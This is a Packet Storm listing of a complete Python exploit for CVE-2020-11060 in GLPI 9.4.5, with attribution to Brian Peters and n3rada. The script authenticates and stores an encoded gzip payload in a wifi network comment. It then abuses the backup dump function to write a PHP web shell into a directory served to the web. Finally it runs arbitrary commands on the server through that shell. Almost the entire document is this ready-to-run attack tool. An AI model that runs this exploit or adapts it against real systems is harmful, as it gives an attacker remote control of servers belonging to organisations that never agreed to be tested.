Lucene search

K
packetstormBrian Peters, n3radaPACKETSTORM:175003
HistoryOct 10, 2023 - 12:00 a.m.

GLPI GZIP(Py3) 9.4.5 Remote Code Execution

2023-10-1000:00:00
Brian Peters, n3rada
packetstormsecurity.com
162
glpi gzip remote code execution
python3
remote exploit
vendor url
software url
cve 2020-11060
kali 2021
windows 2019

0.002 Low

EPSS

Percentile

60.0%

`#!/usr/bin/env python3  
  
#Exploit Title: GLPI GZIP(Py3) 9.4.5 - RCE   
#Date: 08-30-2021  
#Exploit Authors: Brian Peters & n3rada  
#Vendor Homepage: https://glpi-project.org/  
#Software Link: https://github.com/glpi-project/glpi/releases  
#Version: 0.8.5-9.4.5  
#Tested on: Exploit ran on Kali 2021. GLPI Ran on Windows 2019  
#CVE: 2020-11060  
  
# Built-in imports  
import argparse  
import random  
import re  
import string  
from datetime import datetime  
  
# Third party library imports  
import requests  
from lxml import html  
  
# https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt  
PAYLOAD = ";)qRJ*_O88Ux-0cRlA`B]5y[r.no5bKUb2EzEW34O(K~.Oa}pO}1F956/fp@mz`oQqahP+@[/tiLy:]YBmFrRmc*Jt}VxM^@(9BeSTo|zQ}6d/zF|LOMqSy:Nk5hCLU.s-Tx;fHci?1],*9}r;,FmIDZ5^|0SNYjN}H7z{(fPe1}~6u8i^_S38:64w+Q6rg*h4PZ`;h)mB*IeUhRLk;~}OVB`:XTKPnT4XS9pzLrze,[^Y/qnP5KEEo6t+ydw7m,@S/:_dka*4BAXKk?NvSgcV41P~r0iGI?/}lXrvB+94e3/E]aEUPVKmgPE[[[email protected]+if^)c@n8a[`qt-0,S+sDM+RSj_M0V(@,I)SLHZg*rjV4HTKyQo9-[6OL7xhZKQDx03?Tc{|wo32~*QHgH;{@SPcPJ+}tXPPS~-@g:I-Zo+nxo+Y,pFjX8(.;Xr:jD6fx2IXJUMw.m{F7(@RFA6XHS{c`v(W~[yFLMvfBxiP;a58,w`[email protected].^G@W/rr5S_?8Ar/c[Ok}e|:i]P:DUB^o7*pUp[F6hml-32MT)@ih/f`T/~^r(.[+fLPhrD4aBO8u/4gPlr-6.}Mz(OTmHSO8XYa]^3|.*ASPLaB.*gzLUX|4,W_|E|M7all3?XXJ}Cy)6:M2fgiT@155[y0)^@HUXC+Iui9+-z^5dTm*{W}jSB@p8o-fHF)0gsa83,AjbbX]l0I{}k?}[,I`SgGyfZi1c2T@~lTM]}8-{H3DuMFd5+iAr?g9~~0P)AU8u`nk?a()`T@L;UMa@{zS9h7HTD*D1W3x*KNAmk7NXX-s8uQumOY3TLKnN4ls?*sPS/gS^O(/[ctaJYlJ-16_XqifQR(U?a1L@|;^3GHPg?J*mY)+[i(l4GBKj5r6Pkv-QxzVhgKKu9G*6~V6T)DiUK.Pxfy*X*QADUIB`L*GMYh0k[Lpk8eBYheF2yli-Czv7{Z:A4TDYo?PzLk6K5[0*vDbn53oPA(Np|U|AKVSqe/^bP~lkxPcUWXC-jt{27G.Fu;W`uu+cjgo5]m39R:3csXshb_EJ[p2i5~RD0.ZDYUa^Ev@mbA._4F@uVRx/LjW2h{tEME;tYpE,e55a*|lJ./kE1n]v_{/U8uyX:L/5ifJ^^WkTZ/nVC@,7oY^mMPV(-9stYKZWyg9fGtj+R4]Q.:.J5[;;v+rCL:O[JBHZ)Nk8s4(nbS*K]VH8,;Ya9V/.CwXV0X/3Rd{*~QeP6rn4|?V2n6vC|WtAU1JKba-INX`wmYI@}h)BO,^NHERJF~rMF]oz1?aaJI@H0^K`WG*8auteXa3svOvIcSqF6q?eyNA2sr)ai;nczU02qrz?s@W}N|VQr/.}R27*B4bA8?LrrbbOsR/VG[]Fii/vC9v;R7z76H,:0Lb(,qr}8Q_|;KCQGg(|I2*X3Nk-@GC[[7d)055J,/8{/JmL/odlgA8-O|?1yw6QmJjZxb;j[cFdy/B]/t?CG/y}Qyq|.RtE(rJ``i9ZxQarkR_yKlz21}~vpl~eLSV1+l/gi;k(]GdS^FueL7VMRa}{B@JUOy4gXP-By:)-jktZfg~f]Gz?D:UVqSJTAn_zLUQqPNHATd(2.uFeQhoO.L]EknPP3NZiLa8z1,;j/{p}k/V3KU:dgB4K}-U@Qx)g1wRI*]YyI6V^Ibl^4a*vwB+8*EiD^TAau8|]NAL(4Bn}*N+AfjHLqYDdbIuhYdP`~W0K@eM}*kj)t9`H(}fTh_0M@2kgUIBX-4dx05+)hIXtX]YtG*Y*dakDk.}9ZQeiGLnChu(S+Nk{:ZMA/HXEGz5L^)5Dh6qno8:Im[{aL_,eaw[ictOZav,APv}oRjmXp)sUsW5my2gm5boX}e-jQ38N3@RUe)J^|QF[IrZG*MfGkRw;ZK+~/cL4M38aBX8b7::Qq;(H+}yMEQV0Esr~zmd|uL4E,q6DsaD~b9Z;J5{At(/fKvOmXTIXiY.*DT42z62gPyW1;Ev*8]@jp{KgYnj1RCocqe~*tvcbWC2CRpA*Gjz(msc*KtdmW?fBsxzc/tle?@gVzi9sTGAMTJi/flQtFVJF^/Ls|RK.lQ`/m42oVGkM`+~V~I@g(9]cRR,`~D;k~TtM3e|):*vAg@LH55{:d:x4QkVb^R{Rll+CKMxa,rzSxG+D)L?ePUCgwZiMp.FwZe^]3gZOmU0kcSR-sc?@lQa)+vAMW7B}k?pF84QoQVIDE[W*4kKn~/GBQ[1Eg;46MRTMO3V31g^8yqz)--JO}2i;(oBbtyNd0XkM+_luyJH_NuZ?tZu|5.+Z.(,7j*(87Xya]mdZr_w?SeC{bE0@5]Nit?tyby`,rI6}.@@[42X]C)K,Tq[q/~feVi1mJl(CxPz`:*ZKl]J2}L;7.*tzTCC(s-BWgD9GzQpk]r*AP_GEQ]Cit6GRCbe;yZ}nreK+2q-ZPDrs^-G29dS@m4/4q*GnabGJW}.oahC88:]m?2hJrpy){pGcOf|7o3lxDUkST*Lham4z4B~}H3uLN{-,~+32@m[l|Rur9|jU_WqKUh+(D6i2[:(sR*)nc(E-2y}Rq]:,VsMIv1dot0m)3@aAARUMNMDxSMsq+O|O]y?_T,QvgXRQrA6c+r`zDr9NpNb2Eoq/?M},HgicpE@/NIjt;Sf^MaW`e^1ADhFcXqe4,KMhu1~GG8dlEU1|wE9NIoxjC(g`cIFq0^rItTK76{h1[SJLCn*w(w|(7F0Fva+~y{yzn1D2x4c-lv?p}wu9pF.?tlaB8a_~zu/4U0~j1/N?{E}1IZ`I{AM@GW{h{Ot1Pb@W@0Ha+7O?N|?B)ti20MTJ0Pm*g-~j/9L;^ouu?-O3-hDNt^0g3w:X92bA}ag_sZrJ3{}b|A^r}y/f(T.2{s`t;t1FGp83bT7lFRE.1;uas;(LIyNJ3OsoC;~-K,MToT+~~AlkS(;i0Pob*.;6+,s|ae2(cP.sF@`Tps6_+heNE_kKNVXk{Od8ETI`}q5):F?gO~ZBjd7G}Iy*QOOSDlTQQ-WsKJCu7Q~vH}NotKuTpwO8;mEElVqQ,D,mw56)}c9/?aooObfp+NRG9(L}b2hm`U9TxFxE5y}Nw0,sSN-jcj6q[;6Q~Jd*@kknF]XNDt(3HQKdoRT;2mYoMlM}Rn^S{ekyqsT:OX1;z8pUxT-XE)o?gXqNV].hEYrr4`Hy:aDh^4K1^|OzS{]7dZ]]--(Lp?{AIlUyHGf09PKy@r?:Dx-COsMlWeCcSp*3v_W(PWJHex:o9Uf:2Zvvfhx*eFT:g{@o]3}Y)uLO,bcugjJ0v/hq(LKCnr/zowwK0bqaQ^.ka5nE0U7/9+aokofDSyi9E|BUa[9*3vkr9Jxg)3Sx6bY.d5sBGWK+8IYEzqlpj?7;j{l^;B2?u;+UAn}1J5C:1DbcV,U@_OLL{aLFY`cQA7JnL[Tz6j-U9qmVy7;706VP0R`6Zmn_aRZE/P)R~A9lYosxX4;[?9/|O?sJSXZoVvNgIH[-D?o}e]_T7GJPu6Vk,SY{P?)b5oiGsGV.0{@,4JuY0a7d(P)`YX1~Iq[]K,?lNe-V+}QGG}T^~2l)BX9khRsxJB(rf,ZVz)dtCU3Br.8.yu~gMo7aD/]m/xrH~i]^]A*HLgFFY/AlVqLTa17qm1qcU;W4x;8,^;*|TN(YYkm?0Xbvsy*{))pfUG02mvBXNeH;)OZJ~6Z`csCb)R:Ute]2Nj90K{`M;6V1+YKbM;B,O/*~g-ucwb2|`cOS?D8Rt]X}6FI^okmw4~PI({VX8;KYMJRv]w2Jc/udD@[wOQ,huX76iQ}HqSgdiTalFVdujJwcaof}Z1MbK{/d;2{RM3rDRF4OSZbN2t+:TW,,v5m+1nWQbaoR(54f-[^yv*GCyzGCN^[email protected]:^[/}6kUcCSz?`J*.CiqjJjQJkZkGxY}u*shO4x38t+`FW};|Go2HRAsSHJJN@``HVmacO[rn|Q+1{hA3yqEg.sL+5S)_Ol5|,kM@RET,7f[k;Xi?Mal?ZnK,*_NQWZy+cr^Cf9RA^Nv5|a@Jp2bD*HT`+Po2laU]LK,1z]LRk_-~keiS^Y8:Zh`.W}LNH`C8fzT/zv2XE  
  
requests.packages.urllib3.disable_warnings()  
  
  
class GlpiBrowser:  
"""_summary_"""  
  
def __init__(self, url: str, user: str, password: str, platform: str):  
"""  
Initialize the GlpiBrowser with required attributes.  
  
Args:  
url (str): The URL of the target GLPI instance.  
user (str): The username for authentication.  
password (str): The password for authentication.  
platform (str): The platform of the target (either 'windows' or 'unix').  
"""  
self.__url = url  
self.__user = user  
self.__password = password  
  
self.accessible_directory = "pics"  
  
if "win" in platform.lower():  
self.__platform = "windows"  
else:  
self.__platform = "unix"  
  
self.__session = requests.Session()  
self.__session.verify = False  
  
self.__shell_name = None  
  
print(f"[+] {self!s}")  
  
# Dunders  
def __repr__(self) -> str:  
"""Return a machine-readable representation of the browser instance."""  
return f"<GlpiBrowser(url={self.__url!r}, user={self.__user!r}), password={self.__password!r}, plateform={self.__platform!r}>"  
  
def __str__(self) -> str:  
"""Return a human-readable representation of the browser instance."""  
return f"GLPI Browser targeting {self.__url!r} ({self.__platform!r}) with following credentials: {self.__user!r}:{self.__password!r}."  
  
# Public methods  
def is_alive(self) -> bool:  
"""  
Check if the target GLPI instance is alive and responding.  
  
Returns:  
bool: True if the GLPI instance is up and responding, otherwise False.  
"""  
try:  
self.__session.get(url=self.__url, timeout=3)  
except Exception as error:  
print(f"[-] Impossible to reach the target.")  
print(f"[x] Root cause: {error}")  
return False  
else:  
print(f"[+] Target is up and responding.")  
return True  
  
def login(self) -> bool:  
"""  
Attempt to login to the GLPI instance with provided credentials.  
  
Returns:  
bool: True if login is successful, otherwise False.  
"""  
html_text = self.__session.get(url=self.__url, allow_redirects=True).text  
csrf_token = self.__extract_csrf(html=html_text)  
name_field = re.search(r'name="(.*)" id="login_name"', html_text).group(1)  
pass_field = re.search(r'name="(.*)" id="login_password"', html_text).group(1)  
  
login_request = self.__session.post(  
url=f"{self.__url}/front/login.php",  
data={  
name_field: self.__user,  
pass_field: self.__password,  
"auth": "local",  
"submit": "Post",  
"_glpi_csrf_token": csrf_token,  
},  
allow_redirects=False,  
)  
  
return login_request.status_code == 302  
  
def create_network(self, datemod: str) -> None:  
"""  
Create a new network with the specified attributes.  
  
Args:  
datemod (str): The timestamp indicating when the network was modified.  
"""  
creation_request = self.__session.post(  
f"{self.__url}/front/wifinetwork.form.php",  
data={  
"entities_id": "0",  
"is_recursive": "0",  
"name": "PoC",  
"comment": PAYLOAD,  
"essid": "RCE",  
"mode": "ad-hoc",  
"add": "ADD",  
"_glpi_csrf_token": self.__extract_csrf(  
self.__session.get(f"{self.__url}/front/wifinetwork.php").text  
),  
"_read_date_mod": datemod,  
},  
)  
  
if creation_request.status_code == 302:  
print("[+] Network created")  
  
def wipe_networks(self, padding, datemod):  
"""  
Wipe all networks.  
  
Args:  
padding (str): Padding string for ESSID.  
datemod (str): The timestamp indicating when the network was modified.  
"""  
print("[*] Wiping networks...")  
all_networks_request = self.__session.get(  
f"{self.__url}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9"  
)  
  
webpage = html.fromstring(all_networks_request.content)  
  
for rawlink in set(  
link  
for link in webpage.xpath("//a/@href")  
if "wifinetwork.form.php?id=" in link  
):  
network_id = rawlink.split("=")[-1]  
print(f"\tDeleting network id: {network_id}")  
  
self.__session.post(  
f"{self.__url}/front/wifinetwork.form.php",  
data={  
"entities_id": "0",  
"is_recursive": "0",  
"name": "PoC",  
"comment": PAYLOAD,  
"essid": "RCE" + padding,  
"mode": "ad-hoc",  
"purge": "Delete permanently",  
"id": network_id,  
"_glpi_csrf_token": self.__extract_csrf(all_networks_request.text),  
"_read_date_mod": datemod,  
},  
)  
  
def edit_network(self, padding: str, datemod: str) -> None:  
"""_summary_  
  
options:  
padding (str): _description_  
datemod (str): _description_  
"""  
print("[+] Modifying network")  
for rawlink in set(  
link  
for link in html.fromstring(  
self.__session.get(f"{self.__url}/front/wifinetwork.php").content  
).xpath("//a/@href")  
if "wifinetwork.form.php?id=" in link  
):  
# edit the network name and essid  
self.__session.post(  
f"{self.__url}/front/wifinetwork.form.php",  
data={  
"entities_id": "0",  
"is_recursive": "0",  
"name": "PoC",  
"comment": PAYLOAD,  
"essid": f"RCE{padding}",  
"mode": "ad-hoc",  
"update": "Save",  
"id": rawlink.split("=")[-1],  
"_glpi_csrf_token": self.__extract_csrf(  
self.__session.get(  
f"{self.__url}/front/{rawlink.split('/')[-1]}"  
).text  
),  
"_read_date_mod": datemod,  
},  
)  
  
print(f"\tNew ESSID: RCE{padding}")  
  
def create_dump(self, wifi_table_offset: str = None):  
"""  
Initiates a dump request to the server.  
  
Args:  
wifi_table_offset (str, optional): The offset for the 'wifi_networks' table. Defaults to '310'.  
  
Note:  
Adjust the offset number to match the table number for wifi_networks.  
This can be found by downloading a SQL dump and running:  
zgrep -n "CREATE TABLE" glpi-backup-*.sql.gz | grep -n wifinetworks  
"""  
dump_target = f"{self.path}{self.__shell_name}"  
print(f"[*] Dumping the database remotely at: {dump_target}")  
self.__session.get(  
f"{self.__url}/front/backup.php?dump=dump&offsettable={wifi_table_offset or '310'}&fichier={dump_target}"  
)  
  
print(f"[+] File 'dumped', accessible at: {self.shell_path}")  
  
def upload_rce(self, wifi_table_offset: str = None) -> str:  
"""  
Uploads the RCE (Remote Code Execution) shell to the target.  
  
Args:  
wifi_table_offset (str, optional): The offset for the 'wifi_networks' table.  
  
Returns:  
str: A status message indicating the outcome of the upload.  
"""  
if not self.login():  
print("[-] Login error")  
return  
  
print(f"[+] User {self.__user!r} is logged in.")  
  
# create timestamp  
datemod = datetime.now().strftime("%Y-%m-%d %H:%M:%S")  
  
tick = 1  
while True:  
print("-" * 25 + f" trial number {tick} " + "-" * 25)  
  
# create padding for ESSID  
padding = "e" * tick  
  
self.wipe_networks(padding, datemod)  
self.create_network(datemod)  
self.edit_network(padding, datemod)  
  
self.__shell_name = (  
"".join(random.choice(string.ascii_letters) for _ in range(8)) + ".php"  
)  
  
print(f"[+] Current shellname: {self.__shell_name}")  
  
self.create_dump(wifi_table_offset)  
if self.__shell_check():  
break  
  
tick += 1  
  
print("-" * 66)  
print(f"[+] RCE found after {tick} trials!")  
  
# Private methods  
def __extract_csrf(self, html: str):  
"""Extract CSRF token from the provided HTML content."""  
return re.search(  
pattern=r'name="_glpi_csrf_token" value="([a-f0-9]{32})"', string=html  
).group(1)  
  
def __shell_check(self) -> bool:  
"""Check if the uploaded shell is active and responding correctly."""  
r = self.__session.get(  
url=self.shell_path,  
params={"0": "echo HERE"},  
)  
shell_size = len(r.content)  
print(f"[+] Shell size: {shell_size!s}")  
if shell_size < 50:  
print("[x] Too small, there is a problem with the choosen offset.")  
return False  
  
return b"HERE" in r.content  
  
# Properties  
@property  
def path(self):  
"""With this property, every time you access self.path, it will dynamically generate and return the path string based on the current value of self.accessible_directory. This way, it will always be a "direct reference" to the value of self.accessible_directory."""  
if "win" in self.__platform.lower():  
return f"C:\\xampp\\htdocs\\{self.accessible_directory}\\"  
else:  
return f"/var/www/html/glpi/{self.accessible_directory}/"  
  
@property  
def shell_path(self) -> str:  
"""Generate the complete path to the uploaded shell."""  
return f"{self.__url}/{self.accessible_directory}/{self.__shell_name}"  
  
  
def execute(  
url: str,  
command: str,  
timeout: float = None,  
) -> str:  
"""  
Executes a given command on a remote server through a web shell.  
  
This function assumes a web shell has been previously uploaded to the target  
server and sends a request to execute the provided command. It uses a unique  
delimiter ("HoH") to ensure that the command output can be parsed and  
returned without any additional data.  
  
Args:  
url (str): The URL where the web shell is located on the target server.  
command (str): The command to be executed on the target server.  
timeout (float, optional): Maximum time, in seconds, for the request  
to the server. Defaults to None, meaning no timeout.  
  
Returns:  
str: The output of the executed command. Returns None if the URL or  
command is not provided.  
"""  
if url is None or command is None:  
return  
  
command = f"echo HoH&&{command}&&echo HoH"  
  
response = requests.get(  
url=url,  
params={  
"0": command,  
},  
timeout=timeout,  
verify=False,  
)  
  
# Use regex to find the content between "HoH" delimiters  
if match := re.search(  
pattern=r"HoH(.*?)HoH", string=response.text, flags=re.DOTALL  
):  
return match.group(1).strip()  
  
  
def main() -> None:  
parser = argparse.ArgumentParser()  
parser.add_argument("--url", help="Target URL.", required=True)  
parser.add_argument("--user", help="Username.", default=None)  
parser.add_argument("--password", help="Password.", default=None)  
parser.add_argument("--platform", help="Target OS (windows/unix).", default=None)  
parser.add_argument(  
"--offset", help="Offset for table wifi_networks.", default=None  
)  
parser.add_argument(  
"--dir",  
help="Accessible directory on the target.",  
default="sound",  
required=False,  
) # "sound" as default directory  
  
parser.add_argument("--command", help="Command to execute via RCE.", default=None)  
  
options = parser.parse_args()  
  
if options.command:  
# We assume the given URL is the shell path if a command is provided.  
  
try:  
response = execute(url=options.url, command=options.command, timeout=5)  
except TimeoutError:  
print(f"[x] Timeout received form target. Maybe your command failed.")  
else:  
print(f"[*] Response received from {options.url!r}:")  
print(response)  
finally:  
return  
  
target = GlpiBrowser(  
options.url,  
user=options.user,  
password=options.password,  
platform=options.platform,  
)  
  
if not target.is_alive():  
return  
  
target.accessible_directory = options.dir  
target.upload_rce(wifi_table_offset=options.offset)  
  
print(  
f"[+] You can execute command remotely as: {execute(url=target.shell_path, command='whoami').strip()}@{execute(url=target.shell_path, command='hostname').strip()}"  
)  
print("[+] Run this tool again with the desired command to inject:")  
print(  
f"\tpython3 CVE-2020-11060.py --url '{target.shell_path}' --command 'desired_command_here'"  
)  
  
  
if __name__ == "__main__":  
main()  
  
  
`